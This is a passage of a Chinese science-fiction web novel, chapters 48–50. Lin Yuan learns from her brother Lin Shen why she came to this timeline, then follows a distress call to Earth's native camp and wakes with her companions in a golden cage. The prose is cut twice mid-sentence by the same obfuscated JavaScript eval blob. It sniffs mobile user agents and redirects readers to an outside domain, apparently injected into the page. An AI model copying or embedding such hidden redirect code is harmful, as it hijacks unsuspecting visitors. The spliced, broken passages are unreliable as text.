他思考着自己的措辞,语速有些慢:“于是他想到了,可以给你投送一本小说。很多年的默默观察,让他早就清楚,这个习惯了在地球上生存的‘你’,喜欢这种类型的……嗯,书籍。” “我求求你说重点!”林沅羞耻地用那本书轻轻捶了锤防护罩,“我们不要纠结这些细节了!” 她在原地转了几步,颤抖着把那本快要腐化散落的书怼到林深面前:“什么意思,用最短的话说清楚。” “你是这个时间线的林沅被撕裂的一部分,在时空乱流里,意外被投送到了另一个时间线上——千年时光以前,尚未被毁灭的地球。” “目前人类的科技不支持时间线的主动迁移,更遑论逆向溯回、扭转时空的穿越。但你诞生于帝国一场失败的实验中所产生的意外,制造出了人力不能打破的时间漏洞。” “这个世界原本的林深为了将你带回来,利用这个漏洞,在无数个时间线中穿梭,基因面临崩解。他没有办法再前进,于是做了两件事。” “一件是将他在时空乱流中无数次穿梭后,所能知道的所有关于你的命运,以不惊扰你的方式投送给你;一件是将随机一个林深置换到正确的时间线上……保证计划继续进行。” 林沅讶异地看着林深的眼睛,第一次觉得眼前这个人格外的陌生。 林深也用那双黑沉的杏眼定定地回望着自己的姐姐,缓缓开口:“我就是那一个被随机置换而来的……林深。” 48.荒唐大梦 “什么意思?”林沅听见自己的声音中夹杂着难以掩饰的尖刻,来自于内心对这种荒谬展开的恐惧和质疑,“什么叫做你是‘被随机置换来的林深’?你做实验昏头了,要我信这么荒唐的说法?” “难道还有比‘穿书’更荒唐的事吗,姐姐?”林深非常镇定地回答,甚至看起来还想走过去安慰她。 “等等,你先别过来!”林沅斩钉截铁地拒绝。她向后靠在柜子上,双手环抱胸前,眼神垂向地面,神情莫测,显得非常抗拒。 她轻轻点了点脚尖,思索片刻,朝着林深背后的方向抬了抬白皙小巧的下巴,示意他坐在书桌前面:“你先坐……我要把话问清楚。” 林深顺从地坐下,腕间的通讯器却发出“滴滴”的锐利声响,划破沉默焦灼的一室寂静。 莉莉丝欢快的声音从通讯中传来:“你们跑哪去啦,什么时候回来吃蛋糕?” 林深不动声色地看了林沅一眼,把通讯递向她的方向,示意由她说了算。 “……你们先吃。”林沅努力维持声音中的镇静,“不用等我们。” “怎么啦?”莉莉丝压低声音。随着脚步声响起,她似乎避开了人群,找了一个安静的空间,关切地问道:“出什么事了?” “没事。”林沅安慰她,“只是阿深……在给我看他准备的生日礼物。” “喔……”莉莉丝发出一声羡慕的叹息,“真好啊,我哥和我见面只想一刀捅死我。” 畸形的家庭关系造就了一个畸形的脑回路,莉莉丝也发觉这样的羡慕可能不太礼貌,随便问候了几句,嘱咐他们早点回来,便挂断了。 室内又恢复了令人不安的寂静。林沅的目光紧紧盯着微微低头的林深:“希望我们不要发展成这样的结局。” “只要你不想杀了我就行,姐姐。”林深非常温顺地回答她,细碎的额发垂下,遮掩白皙的额头,长睫毛微微向上卷曲,无框眼镜遮不住青黑浮现的下眼睑,显露出一点疲于奔命的倦怠,一扫那种最常出现在他脸上的、胜券在握般的游刃有余,反而有些丧丧的。 他的语气也有着低沉的疲倦:“反正我是永远不会背叛你的。” “每一个我。”他抬起头,和林沅对视,一字一句地补充道。 林沅感觉自己身上起了一层鸡皮疙瘩:“你好好说话……别跟我对不起你似的。” “哦。”林深摆烂一般地往椅背上一瘫,“你要问什么,就问吧。” “我想你从头梳理下整件事,我现在一头雾水。”林沅站直身体,在林深面前来回抱臂踱步,“按照时间顺序,我要弄明白整个来龙去脉。” 林深顺从地点头。 她思索了一会:“你提到的那个,制造出时间漏洞的帝国实验意外,是指什么?” “在你五岁的时候,有一段时间,父亲是联盟驻帝国的外交官,我和你也跟着他住在大使馆中。那时候威廉·霍恩海姆陛下的母亲还在,是整个帝国的皇后。她一见你就非常喜欢,甚至把我们俩都接到宸宫居住。” 林深的神情显示他陷入了绵长的回忆,甚至有一点堪称“悲伤”的情绪:“有一天,我吵着要看传说中的‘穿梭机’。我至今不知道帝国为什么会把那么危险的实验装置放在宸宫后山,也不明白是谁指引我一定要去看这个东西。毕竟一个小孩子,理论上来说很难理解这种对于科学装置的‘渴求’。” “而更加巧合的是,恰恰在那个时候,实验出现了巨大的意外,你将我推离了整个实验场,自己却被撕裂成了时空乱流中的碎片。” “两三岁小孩的记忆有这么好吗?五岁的我这么勇敢?”林沅的表情十分不可思议。 林深向她解释道:“你的勇敢我不太清楚,也许是出自于姐姐的本能……我的记忆,其实是源于这个时间线原本的林深给我的情报。” “什么情报?你们为什么会有联系?”林沅敏锐地捕捉到关键,立刻追问。 林深思索了一下:“要解释这个,可能我还是得先把整件事按时间顺序帮你梳理明白。” “行,你说。”林沅踱步,眼神一瞬不瞬地锁定在他身上,让林深感受到了一丝正被审讯般的错觉。 “在梳理之前,我先浅显地为你解释一下平行世界。按照目前的理论,整个宇宙由无数条平行的时间线组成,但所有的时间线都拥有同一个起点和终点。你可以把它想象成一个上下尖尖、中间凸起的纺锤形蚕茧。” “在这无数个时间线中,越是互相靠近的两条线,所发生的命运轨迹便越是重叠。越远一些的时间线,就会发生更大的变数。也许一个朝代,一个国家,甚至一整个人类文明,在某个与此时此刻相距甚远的时间线中,是完全不存在的。” 解释完浅显的理论,他又开始梳理整个事情的经过:“在无数个存在着‘林深’和‘林沅’时间线中,你都因为救我,而被时间乱流将最重要的一部分意识撕成碎片。甚至有些更悲惨的时间线,你整个人被直接抹去,不复存在。” “等等。”林沅忍不住再次打断他,“意识也能被撕碎?这是不是有点太玄学了?难道科学发展到今天,证明人是有灵魂的?” “按照目前的科学发展水平,我们也解释不了这件事。但是事实就是这样,在你没有被我害死的一些时间线,你的身体被剥离了重要的意识后残存下来,先是用联盟的维生舱勉强维持着生命,又被霍恩海姆陛下用帝国迅猛发展的科技秘密救活。” “其间也有一些不幸的时间线,无数个你死于无数个没能醒来的年岁。越是接近我们脚下这条时间线的你,存活的时间也就越长。” “但即使有无数个你醒来了,她们都没有完整的自我意识。或者骄奢淫逸,或者刁蛮任性,或者……嗯,智力低下。”林深尽量选取一些看起来委婉的词汇。 踱步中的林沅眼睛一闭,表情看起来惨不忍睹:“所以说,我们现在所在的时间线……” “是唯一一个‘变数’。”林深接着她的话说道。 “很多条时间线中,林深都参与了联盟的平行世界理论推演实验。因为每一个这样的林深都坚信,既然平行时间线存在,那么也许就会存在一个没有完全死去的林沅。” “平行世界理论……推演实验?”林沅努力复述这个拗口的名词。 “是的。这是联盟一个偶然的、不起眼的实验立项。但是在这个时间线中,因为你的灵魂没有被撕碎,反而撞碎了时间线之间的壁垒,被割裂的那部分完整地游荡到了地球。所以在这个世界中,不信命的林深借着联盟科学家的大数据推演实验,竟然真的成功定位到了你的位置。” “这天下,恐怕没有不透风的墙吧?联盟科研院竟然肯放任他这样胡闹?”林沅摇了摇头。 “恰恰相反……这个时间线的林深非常聪明,他完成了一个偷天换日的魔术。借着大数据推演,他发现了你的存活与否与人类存亡之间的必然联系,并把这个结果上报了联盟。” “等等……这又是什么?”林沅的表情终于有些崩溃了,“怎么我又关系到人类存亡了?” “这也是没办法解释的数据指数。因为这个时间线的平行壁垒被打破,实验成果迅猛发展,大数据在真正审视了无数时间线后,得出一个神奇的结论。”林深直起身,杏眼中漾着阳光投射后更加粼粼的水色。 他刻意放缓了语速:“只要你多活一天,威廉·霍恩海姆的情况就越稳定,人类的命运就会被延长。” “……听起来非常民科。”林沅忍不住吐槽道,“你们不会真信了吧?” 林深懒洋洋地笑了一下:“由不得我们不信。我们看不完那些以亿计数的平行世界,但反应在数据模型中的结论就是这样。” “那偷天换日的魔术又是什么……”林沅思索了一下,恍然大悟,“你,不对……他,隐瞒了他是在寻找我的事实,让联盟以为他只是在对人类的未来进行推演?并且因为推演结果,不得不想办法拯救我完整的生命?” 林深点了点头。 林沅实在按不下内心的震撼,甚至有些难言的酸涩:“何必呢,我们除了血缘关系,其实根本没有怎么见过吧?” “因为我们实在太愧疚了。而他的愧疚只会在我之上。”林深低声说道,“他能预想到你在地球中孤独的人生,也能看见数据反馈而来的,你在无数个时间线中的覆灭与死亡……他觉得一切都是他的错,结局却永远没有办法更改。” 林深抬头望着林沅,眼里溢出一些难言的伤感:“他真的……太痛苦了。” “所以他写了这本书给我,让我知道后面的命运?”林沅轻声呢喃,如同幻觉,“可是,只有数据的话,他是怎么知道具体发生了什么事呢?” “因为他后来亲身主持了时间迁移实验,也是星海基地存在的真正目的。” “联盟想要解救人类命运,而他想要解救你,两边的目的不谋而合,于是他亲身参与了整个实验。” 无言的沉默在空间中席卷,林沅震惊难过到说不出任何话来。 “值得吗……”她嘶哑着开口,“也许到最后,结局会证明是大数据错了。我拯救不了人类,还平白搭上他的命。” 林深却摇了摇头:“因为从某种意义上来说,我就是他,所以我可以大言不惭地告诉你,他很愿意,他甚至很开心。” 林沅的眼睛,闪烁着若有似无的水光。 “你灵魂碎片的回音,就是他一生的神启。他听到了,在无数个磅礴浩瀚的平行宇宙中,神明对他这个彻彻底底失败的凡人,所能拥有的全部庸碌而无望的命途之外,唯一一声喟叹。” 于是就像一只飞蛾,义无反顾地扑向灼身的烈火。 “我不值得……”她低低地叹了口气。 “值得。为他,为人类,为你自己,都很值得。”林深非常坚定地反驳她,“而且,他也并没有死去。” 林沅的目光瞬时定在他身上。 “在他发现自己如果再继续迁移寻找你,会发生基因的崩解断裂并彻底死去后,他选择停在那一个时间线。但不知为什么,也许是因为那一个时间线中的林深也不复存在了,他别无选择,只能开始用数据模型沿着一个又一个单向的时间裂缝传递讯号。” “直到我接收到了他的请求。” 林沅努力找回自己的声音:“后面的故事,就是我来了以后发生的事吗?所以,我并不是‘穿书’,而是‘重生’?” “更准确地说,是‘融合’,你的思维意识融合到你自己的身体中。这也是你的记忆越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019772|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越清晰的真正原因。” 林沅还是有些疑惑:“那我为什么会偶尔梦见一些未来的事?” “我也不太清楚,可能是时空乱流中的碎片沾带在你的记忆中,变成了一些难以解释的梦境。” “也就是说……”林沅的目光变得锐利。 林深帮她补充道:“它们全都是真实发生过,以后也有可能会发生的事。” 林沅沉吟着,停止了踱步,但表情看起来仍然十分焦虑:“这太乱了,我不知道该不该信你……我甚至不知道自己到底能信谁。” “我明白……但我所有要说的已经告诉了你。我想,这也是破局的关键点。”林深看起来不像之前那样颓然,略微坐直了身体。 林沅轻轻咬了咬下唇:“我还有几个问题想问你。” “随便问。”林深摊了摊手,“我知无不言。” “为什么一开始不告诉我真相?” “因为不确定你融合到什么程度,我需要观察。” “‘星海’里所有人都是这项实验的参与者?” “不是,真正的参与者只有我和宋庭眠。你也只可以真正信任我们两个,其他人……可能或多或少有些问题。” 林沅忍不住有些着急:“什么意思,那你还拜托闵宗望去帝国?” 林深安抚她:“有些事情的安排我目前也没有办法跟你解释。不同时间线的发展不具有完全的参考意义,而且我们也不可能知道每一个细节。” “你要是这么说,那我们还有什么彼此信任的必要呢?”林沅恨恨地看着他,“从头到尾,我对你来说,就像是培养皿里的珍惜试验品。难怪,联盟为了我,甚至可以毁掉安妮·贝克的一生。” 这句话刺痛了林深。他握紧了自己蜷在双膝上的手掌,用力到指节泛白:“我知道,你觉得我不是那个为你付出一切的林深,你怀疑我的动机。” “不是我故意要怀疑你。”林沅叹了口气,“你不觉得这一切都实在是太惊人、太不可思议了吗?然后你现在还要继续瞒着藏着,我怎么能不怀疑你的动机?” 她思索了一会,表情有些了然:“所以那时候在庄园里,你才会说所有能告诉我的一切,你全都告诉我了……” 林沅的目光凝在林深身上,锐利到甚至有些残忍:“可是那是我弟弟的功劳,林深。你自己的计划呢,你仍然还要继续瞒着我?” “抱歉。”林深叹了口气,但显然是承认了这一点,也并不打算反驳。 “好,好,这就是你所谓的知无不言……”林沅咬牙切齿地点头,一向温柔美丽的脸上,露出了愤恨的神情。 但是她用堪称惊人的意志力,努力平复了一小会,便继续开口提问,语气也尽力显得平静:“那么最终让人类走向灭亡的原因,到底是什么?” “我不知道。”林深立即回答。 “你不知道?”林沅的声音忍不住提高了几度,再好的修养和意志力也在濒临破功的边缘,“什么意思,什么叫‘你不知道’?” 林深老实地回答,尽力不让她更生气:“就是字面意思。这个时间线的林深能传递给我的只有数据,以及比你手里那本书更详细一些的文本信息,他没有办法给我传递影像资料。” “按照数据显示,最可能的一种结局,就是在你死之后不久,威廉·霍恩海姆就会因为倒行逆施,在民众起义和军部叛乱中死去。帝国陷入混乱,权力机构被不同的势力把持,内乱不断。猎盟趁火打劫,却引火烧身,战火甚至逐渐蔓延至整个宇宙。” 林沅微微皱眉:“听起来是一个非常漫长的过程……数据为什么能确定它跟我有关?” “因为你灵魂撕裂的程度越轻,活得越久,这个结局的到来就会越发被推迟。”林深解释道,“而且,它不是一个漫长的过程。” 林沅疑惑地看着他。 “听起来很不可思议,但猎盟参与之后不久,所有的人类在突然之间,陷入了一场难以解释的‘瘟疫’。大量的人类死去,文明断代,直至完全消失……” “整个过程,不到三年。” 林深陈述完毕,看着林沅越来越疑惑的神情,忍不住安慰她:“按照数据推演模型,只要你活着,这个结局就不会到来。” “所以,你们也不知道,究竟谁是这场灾难的根源?”林沅感觉到一种难以抑制的焦虑。 “是的,不过,按照我个人的理解,威廉·霍恩海姆是无辜的。” 听见这句话,林沅下意识暗暗松了口气。 空间又恢复一室寂静。 沉默中,林深再次开口:“还是祝你生日快乐,姐姐……这幢小屋作为我给你的礼物,它的模型可以存储在拼装仪器中。在你需要的时候,只要材料充足,就可以一比一完整复原在任何场地。” “……真的?”林沅的思路被打断,惊奇地四处打量了一下。 “只不过这个过程可能会需要几天时间……”林深的话还没来得及说完,通讯的紧急呼叫声便响了起来,比莉莉丝申请接通时的声音更尖锐,频率也更快。 林深立刻按下接收,闵宗望的声音在另一端响了起来:“阿深,接到地球原住民的求救信号,他们的营地那边似乎出了一些问题。你方便立刻去看一下吗?” 49.未知谜团 林深抬头看了眼林沅,又默默垂下视线:“好。” “我会在一个小时后与你们汇合。”闵宗望挂断了通讯。 林沅微微蹙眉:“出了什么问题?他怎么不说清楚?” 林深摇了摇头:“按照联盟科学院与原住民的约定,星海在地球设立实验基地的前提,就是提供基本的生存援助,并回应他们的紧急求救信号,不论缘由。” “你们这是来上学还是做雇佣军……怎么感觉事情越来越不靠谱了。”林沅十分警惕。 “你先回基地就好。”林深安慰她,“这本来就是星海的职责,与联合项目的其他参与人员无关。” 林沅略显焦急地在原地踱了几步,不一会便下定决心:“我和你一起去。” 发现林深的表情看起来有些意外,她解释道:“你现在在我这里信誉值为零,我不希望你在我看不见的地方又不知道在默默搞什么小动作……我跟你一起。” 这话可能有点伤人,但林沅锐利的目光紧紧盯着林深,不想放过任何一点可疑的动向:“而且我还有些问题没有问完。” 她果断地下定了最后的结论:“一起走吧。” 林深知道自己劝不住,只好在通报了基地驻守的其他人后,先行带林沅赶往地球原住民的生存营地。 没想到莉莉丝等人听后也十分感兴趣,并表示自己目前就是星海的一份子,理应恪守星海的职责。 “而且多一个人多一份力量嘛……至于驻守基地,我们只需要留下一两个人就够了!”莉莉丝在通讯里对林沅欢快地说道,“地球在联盟的势力范围内,能出什么大事?” 最终在所有人的共同商议下,颜辂作为项目导师负责驻守基地,其他人则立刻前往营地,和林沅姐弟两人汇合。 在前往营地的飞船上,林深与林沅寂静地矗立着,彼此之间相隔的距离,大概能放下一整张晚宴长桌。 “我还有一个……可能无关紧要的问题,想问你。”林沅却突然在这场让人无比窒息的寂静中开口,打破了沉默。 林深点头,示意她随便提问。 “他是怎么靠一本书找到我的?” “他”,指的是这个时间线最初的林深。 “其实他一直都知道你在哪一条时间线上。”如今的林深抱臂坐在舷窗下,视线掠过向后倒退的风景。 他的声音略显低沉:“但联盟的技术不够成熟,迁移装置不能像数据分析的结果那样定位准确。这也是他明明观察了你很久,却始终没有找到你的原因。” “最后,在他明白自己已经山穷水尽力有不逮的尽头,想到了一个方法。” “什么方法?”林沅追问。 “穷举法。”林深耐心地解释,“他利用自己无数次迁移的观察结果,和大数据多年的分析反馈,总结出这本最有可能的命运走向。然后就像同位素标记一样,他给每一本书都做了特殊标记,向所有你存在过的时间线投放,并用巧妙的方法保证一定会送到你手上。” 林沅迟疑而震惊地望着林深:“所以……” “所以唯一一个在数据中反馈出,你获得书籍的时间与其他时间线完全不相关、甚至间隔几千年的那个世界,就是灵魂碎片最可能存在的地方。” 他抬起头,由下而上,沉静地望着林沅:“而这本书的坐标,也就说明了你的位置。” 伴随着他的话音落定,飞船到达了地球原住民的营地入口。停泊的气浪吹倒大片野蛮生长的绿植,连飞船也微微晃动。 林沅正忙着稳住身形,林深却已经大步流星地与她擦肩而过,顺手轻轻扶了一下,低头小声补充:“这是一个漫长的过程,也是他全部的无私和私心。” 在飞船停驻的巨大声响中,这句话轻柔得如同幻觉。 但林沅却完整的听到了。可以说,她最后一丝对整个理论的怀疑,也随着这样一句话,而彻底烟消云散。 不知是因为一个逻辑自洽的解释,还是因为一颗不能诠释的、炙热而年轻的心。 他们一前一后,迈出飞船舱门。防护罩自动落下,防护服也严丝合缝地封闭。 星海的其他人暂时还没有抵达。林沅跟在林深身后大概半臂的距离,谨慎地踏过荒草与灌木丛生的土地。 “奇怪……”林深望着空无一人的营地入口,神情莫测。 “什么奇怪?”林沅立刻追问。 地球最后的原住民们,居住于一片荒野的中心。被巨大树木、灌木丛林和荒草野植细密掩盖的营地入口,像是古老的神秘文明一般,立着两块笔直的巨石,上面雕刻着密密麻麻诡异的野兽,和精怪的图腾。 林深在巨石周围仔细环绕观察了一阵:“这里平时都应该有人把守的。他们不许外人擅自进入营地,所以会来这里接应我们,并要求我们换上营地的服饰。” “还得换衣服?”林沅的声音带着几分讶异。 林深一边伸手拨弄歪倒的草木,一边解释:“因为曾经沉痛的人类历史,他们渴求精神上永恒的宁静与皈依。于是这里开始信仰一种特殊的古神文明,认为科技是万恶之源,是人类毁灭的根本原因。所以他们排斥一切与现代高科技相关的产物……就连食物也必须给他们提供没有精加工过的。” 他直起身,望着林沅正在观察巨石的动作:“怎么了?” “像是武器攻击过的痕迹……但我不确定。”林沅用通讯器给痕迹拍照留证,转过头问林深:“偷偷藏点设备进去,会怎么样?” “问题倒也不大……这些年来,他们之中的年轻人也开始痛定思痛,寻求变革,只是作用不太明显。”林深看着她检查通讯器的动作,“你想带进去?” 林沅点点头:“这里有定位,如果出了任何问题,帝国可以锁定我的位置。” 林深挑了下眉:“你倒是信任他们。” “保命的手段罢了。”林沅叹了口气,“至少现在,我猜他们应该是真心不希望我死。” “当然。”林深肯定道,“你的存在对帝国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024572|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百利而无一害……皇后。” 林沅忍不住小声抗议道:“拜托别这么喊,我是真的不习惯。” 在两人短暂的拌嘴与试探间,属于联盟科学院和星海基地的飞船几乎同时抵达。不等飞船停稳,闵宗望便从洞开的舱门轻巧地跃了下来。 “紧急呼救,似乎出了点问题。”他走近林深,熟稔地拍了拍他的肩膀,又对其他人一一打了招呼,“换下营地的衣服,通讯器不要摘,武器拿好,咱们直接进去。” “必须要换吗?”越过营地大门,一幢简易的小石屋就是平时给他们更换衣服的地方。莉莉丝捏起那身看起来有点像是在cos原始野人的衣服一角,忍不住提问:“不换的话会……” “这里野兽和蚊蚁丛生,这些衣服实际上喷洒过特殊的香粉,起到躲避飞虫走兽的作用。”闵宗望熟练地分发衣物,“其他设备倒是没关系,平时他们也不会严格检查,何况今天,人都不知道到哪里去了。” 大家只好各自换好衣服,活脱脱一个野人小分队。 “也是挺新奇的……”路易忍着内心忽然出现的一丝洁癖,安慰自己。 还好这些衣服只是看起来材料特殊了一些,都是些兽皮树叶之类,款式上倒是和普通衣服区别不大,不至于衣不蔽体。 一行人谨慎地举着已经拉开了保险栓的武器。这些简便的武器本就是留给科研人员在地球防身用的,所以经过闵宗望简短的讲解后,大家就都基本掌握了要领。 “信天翁”的身份不能暴露,莉莉丝等人表现得就像是几个不谙世事、但十分热心又清澈的大学生。 他们顺着明显常常有人打理的青石板路,一步步走进营地内部。 一路上空寂到毫无回声的景象让人心里微微发毛。沈若暄忍不住小声问道:“这是什么情况……这些人去哪里了?” 没有人能够回答她,无声而细小的恐慌在所有人心底蔓延。 过了大概半小时,这一行人才终于抵达营地中心地带,望向完好无损的营地房屋群。在他们眼前的地面上,完整的矮房群中央,横亘着一道仿佛要将整个原住民文明从地球上切割的巨大裂痕。 林沅轻轻嗅了嗅空气中浓重的硝烟味道:“这里发生过一场……争斗?” “什么争斗能不留下任何挣扎的痕迹?即使对方是手无寸铁的原住民,恐怕也很难做到。”闵宗望沉着地蹲下身,一边仔细检查裂痕边缘,一边分析道。 众人开始分散着检查裂痕周围的居民区,试图在这些茅草屋中找出一点蛛丝马迹。 于是也就没注意到裂缝中逐渐散发的点点金光,正在顺着土地无声蔓延。 等到所有人终于意识到自己被一股巨大的吸力吸向裂缝中时,已经来不及了。 林沅下意识地将自己身边的林深往反方向一推,看见他牢牢抱住一根石柱,神色显露出从未有过的焦急,却只来得及抓住离他最近的沈若暄。 其余人则被转瞬吸入裂缝中,陷入一片浓重的黑暗。 50.黄金骸骨 痛。渴。 在眼睑干燥又灼热的触感中,林沅闻到一点像是食物烤到微糊后的焦香。她迷茫地睁开眼皮,感觉自己手脚发软,如同一捧被蒸干后飘散于半空的水汽。 视线在一片低暗昏黄的灯光中聚焦。她发现自己躺在房间一角,一个矗立着的巨大囚笼中。囚笼金碧辉煌,竟然好似纯金打造。 她不动声色地打量周围的环境,发现自己的脑袋枕着莉莉丝纤细却带着一点薄肌的小腿。路易、丹尼尔和宋庭眠横七竖八地躺在另一边,看起来都还没有清醒。 “联盟那些古怪的家伙们,就是一群躲在阴暗角落的技术死宅。天天喊着什么人类啊未来啊希望啊,自诩为救世的科技狂魔,关起门却只会对着我们大发慈悲放开的源代码抄来抄去。” 不远处传来人声。一个看着像是纯金材质的摇椅上,铺着一层厚厚的软垫。大腹便便的中年男人背对着囚笼躺在上面,正隔着虚拟屏和另外一个看不见脸的家伙远程通话。 从林沅的视角望去,只能看见他被椅子扶手拦成一节一节的肥肉,和头顶稀疏的白色毛发。 他在摇椅上慢悠悠一晃一晃,也不在乎对面的人理不理会自己,有一搭没一搭地抱怨:“……给他们推销了好几次‘莉莉’,各种售后都跟上,他们死活就是不买账。” 虚拟屏对面是一位女性,声音听起来雍容华贵,带着点久居上位的慵懒:“听说他们自己制作了一个能够联通境内全部星域的人工智能,叫……” “叫‘灵犀’。”肥硕的中年男人忙不迭地接话。飞来飞去的机器人给他投喂各种零食和饮品,躺在囚笼里装晕的林沅突然感觉自己饥肠辘辘,却一动也不敢动。 男人嚼着零食,声音听起来含混不清:“不过是开源代码的简易复制品,不如‘莉莉’的一根头发。” 女声低低笑了一下,并不理睬。 “帝国的人更没意思……”话没说完,男人差点被零食噎住,手舞足蹈地发出濒死的嘶哑怪调,一整坨肥膘都紧张地绷紧,像是半化开的冻肉,颤颤巍巍地漾起一道道波澜。 路过的悬浮机器人熟门熟路地给他丢下一杯颜色古怪的液体,吸管都帮着插好。 男人狠狠嘬了几口,心满意足地放下。绷紧的身体逐渐放松,软软地塌下去、摊平整:“一群……一群战争狂。” 他几口便把液体吸到了杯底,咬着吸管发出“呼噜噜”的声音:“以那个夏洛特·莱茵为首的……那个疯女人。” 林沅正在消化关于联盟的信息,突然捕捉到熟悉的名字,又紧张地仔细聆听着。 “……伊凡·霍恩海姆被枢密院的人搞死,换一个废物复制人上位,她难受死了吧?连带着恨上了枢密院的每一个人,那么多年和陈鹤明都合不来……头脑简单四肢发达的家伙。” 似乎对这个名字起了兴趣,虚拟屏对面的女人没有露脸,只是懒洋洋地接话:“伊凡·霍恩海姆倒也算是个人物……” “哪里,还不是拜倒在您的石榴裙下吗?”男人谄媚着恭维她。 女人短促地笑了一声,语调矫揉:“我可没有……他倒是实打实地把我从帝国的权力中心彻底赶走,发配到这颗边远的荒星。” 她的语气隐含着一点刻意压抑的愤恨,微微咬牙:“这种连首都星时兴裙子是什么材料都没听说过的破地方,要不是为了……谁要待着。” 她的话语不明不白,男人却仿佛立刻接收到了隐含的意思,大笑起来:“委屈您为大业牺牲,敬您一杯!” 他摆了摆手中的杯子,浓重的酒气随着动作四散开来,连林沅都闻到了些许。 “你少喝点吧,别把自己喝死了。”女声有些嫌恶地绷紧,带着几分警告,“最近送给我的基因样本越来越少了。你做什么的,这点事都办不好?” 男人不好意思地挠了挠自己没剩几根的头发:“咱们新上位的那位小少爷,不知道是为了搞定宇宙人权联盟,还是真心实意给这些人造人们维权,对私人产业链越查越紧……” “那个记者呢?还没找到?”女声压低嗓音,听起来有些紧张,“那么一个大活人,能在你那里人间蒸发了?” “你也知道,我这里最不缺的就是活人。”男人“嘿嘿”笑了几声,听起来满不在乎,“大不了我把这批人造人和上次一样,全部偷偷处理了。要是他真混在里面,想必插翅也难逃。” “不行!”女人略显愤怒地呵斥道,“上次你办事不干不净,动静太大,闹得连威廉·霍恩海姆都知道了,旁敲侧击地威胁我……害我差点漏了馅。” “威廉?就是伊凡·霍恩海姆和那个罗勒斯家的女人联姻以后,胎生的孩子?”他的用词很怪,听起来不是在描述人类,而是在形容某种低等的动物。 得到女人肯定的回答,他满不在乎地扔掉空杯子,摔在地上,发出“噼啪”的尖锐声响。路过的小机器人顿了一下,任劳任怨地开始清扫。 “那只是意外,伊莎贝拉!”他颇为兴奋地喊着女人的名字,挥舞自己的手臂,行着歪歪扭扭的军礼,“你变得越来越胆小了,那个小东西算什么……我们的合作,横跨整个宇宙政坛老中青三代!无数人都死去了,而你和我……我们,只有我们还活着!活着吃掉所有妄图吞噬我们的、那些高高在上的大人物!” 他激动地支起自己肥硕的身躯,努力向着虚拟屏的方向躬身,犹如一只想要仰卧起坐的毛毛虫:“我的朋友,你怕什么!连伊凡·霍恩海姆都不是我们的对手,何况一个毛头小儿?” 男人的声音听起来醉意浓重,说话开始有些颠三倒四。他迷迷糊糊地从躺椅上爬起来,差点摔在地上,在机器人们的帮助下,挣扎着挺起自己肥硕的躯体。 林沅微微撩起一点眼皮,透过缝隙的余光观察男人,看着他像一座摇摇晃晃的小山,缠绕着浓重的酒气,跌跌撞撞地在地上乱走。 “狩猎的联盟牢不可破,新锐的科技无坚不摧……”他胡言乱语着大喊,连女人什么时候厌烦地切断了通讯都没注意,“你太小心了,连跟我通话都要用变声器……” 他转了几圈,撞了好几次墙,才摸索到“门”的存在。一下一下用滚圆的肚皮把大门撞开,在机器人们的帮助下离开房间。 林沅听着他的声音渐渐远去:“星辰的海洋终将泯灭……最终的胜利……无人可挡……” 一切归于寂静。机器人检查过牢笼,关掉了最后一点灯光,依次有序地退出房间。 林沅耐心地等了半晌。黑暗中,她能感觉到莉莉丝身躯微动,甚至轻轻握住了她的手。 “喂……都醒了没?”莉莉丝小声开口。没有收到警报,大家缓缓试探着聚集在一起。 “原来你们都醒了……”林沅压低嗓音,借着对面桌子上,用无数夜明珠堆叠起来的一个模糊人像散发出的一点微光,看着脸色难看的路易、丹尼尔、莉莉丝和宋庭眠。 “闵宗望呢,怎么就他不见了?”路易环顾四周,敏锐地询问。 “从我醒来,就没有见过他。好像没有和我们关在一起。”丹尼尔紧接着补充道。 “这倒是奇了……”宋庭眠收起往日吊儿郎当的模样,看着认真了许多,“没道理。他是和我们一起掉进裂缝的,为什么会不和我们关在一起?” “说起这个……”路易皱了皱眉,瞥了宋庭眠一眼,“任务是他发布的,预估错误没带任何安保就算了,现在还彻底失踪了……要我说,这个人恐怕有问题……” “眼下情况紧急。”林沅立刻打断他,轻声转移话题,“别想这些,先考虑怎么出去。” 莉莉丝也点点头,软声附和:“而且是我主动答应他帮忙的。这样算来,我岂不是也有问题?” 大家沉默了一会,迅速达成一致,决定先解决眼下的困境。 “出师未捷身先死啊……”仔细检查了一圈,没有发现任何可以逃跑的漏洞。莉莉丝感喟地用左手食指的戒指轻轻敲了敲纯金的囚笼围栏,苦中作乐地欣赏黄金与宝石相撞后清冽的脆响。 “乱立什么flag。”林沅温柔地搡了她一下。 莉莉丝立刻小声笑了:“这是反向flag。我先立完了,flag就追不到我。” 丹尼尔认真检查完自己身上全部的通讯设备:“你们的设备也都没有信号吗?” 林沅把腕上空白的通讯器递到他面前:“倒是能收到信息,但是点开什么也看不到……通讯也发不出去。” 路易也凑过来,看了两眼便不安地皱了皱眉:“怎么会突然收到这么多……莱茵女士的信息和通讯请求?” “还有陈首席的……”林沅点头,补充道。虽然枢密院已经不复存在,她还是习惯尊称陈鹤明为首席。 此刻她的神色颇为凝重:“帝国那边恐怕出了什么问题。” “我听说你的通讯有帝国定位。”宋庭眠开口询问,“他们应该可以知道你失踪于何处吧?” 